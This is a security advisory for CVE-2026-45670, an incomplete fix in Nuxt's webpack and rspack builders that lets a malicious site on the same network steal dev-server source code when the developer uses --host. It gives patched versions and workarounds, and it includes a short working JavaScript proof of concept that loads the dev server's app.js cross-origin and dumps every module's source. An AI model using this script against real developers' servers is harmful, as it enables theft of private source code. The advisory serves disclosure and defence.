PT-2026-41963 · Npm · @Nuxt/Rspack-Builder+1

Published

2026-05-19

·

Updated

2026-05-19

·

CVE-2026-45670

CVSS v4.0

5.9

Medium

VectorAV:A/AC:H/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Summary

This is an incomplete fix for GHSA-4gf7-ff8x-hq99. Source code may be stolen during dev when using the webpack / rspack builder if the dev server is bound to a non-loopback address (e.g. nuxt dev --host) and the developer opens a malicious site on the same network.

Details

The fix for GHSA-4gf7-ff8x-hq99 relied on Sec-Fetch-Mode and Sec-Fetch-Site headers. Because these headers are sent by the browsers only for potentially trustworthy origins, the check is able to bypass for non-potentially trustworthy origins.
Since the attack requires the website to be accessible via a non-potentially trustworthy origin, only apps that are using --host is affected.

PoC

  1. Create a nuxt project with webpack / rspack builder.
  2. Run npm run dev
  3. Open http://localhost:3000
  4. Run the script below in a web site that has a different origin.
  5. You can see the source code output in the document and the devtools console.
const script = document.createElement('script')
script.src = 'http://192.168.0.31:3000/ nuxt/app.js' // NOTE: replace with the IP address the dev server listens to
script.addEventListener('load', () => {
 const key = Object.keys(window).find(k => k.startsWith("webpackChunk"))
 for (const page in window[key]) {
  const moduleList = window[key][page][1]
  console.log(moduleList)

  for (const key in moduleList) {
   const p = document.createElement('p')
   const title = document.createElement('strong')
   title.textContent = key
   const code = document.createElement('code')
   code.textContent = moduleList[key].toString()
   p.append(title, ':', document.createElement('br'), code)
   document.body.appendChild(p)
  }
 }
})
document.head.appendChild(script)
(This script is the similar with GHSA-4gf7-ff8x-hq99 except for the script.src and the global variable name)

Impact

Users using webpack / rspack builder may get the source code stolen by malicious websites if it uses a predictable host and also is using --host.
This vulnerability does not affect Chrome 142+ (and other Chromium based browsers) users due to [the local network access restriction feature](https://developer.chrome.com/release-notes/142#local network access restrictions).

Patches

Fixed in nuxt@4.4.6 and nuxt@3.21.6 by #35051. The dev-middleware same-origin check now falls back to comparing the request's Origin / Referer host against Host when Sec-Fetch-* headers are absent, closing the non-trustworthy-origin bypass.
The fix only ships for the @nuxt/webpack-builder and @nuxt/rspack-builder packages. The default Vite builder was not affected.

Workarounds

If you cannot upgrade immediately:
  • Don't use nuxt dev --host. Bind the dev server to localhost (the default) and tunnel from other devices via SSH or a reverse proxy that enforces same-origin checks.
  • Use Chrome 142+ or another Chromium-based browser that enforces [local network access restrictions](https://developer.chrome.com/release-notes/142#local network access restrictions).
  • Switch to the Vite builder for development.

Fix

Weakness Enumeration

CWE-749

Related Identifiers

CVE-2026-45670
GHSA-6M52-M754-PW2G

Affected Products

@Nuxt/Rspack-Builder
@Nuxt/Webpack-Builder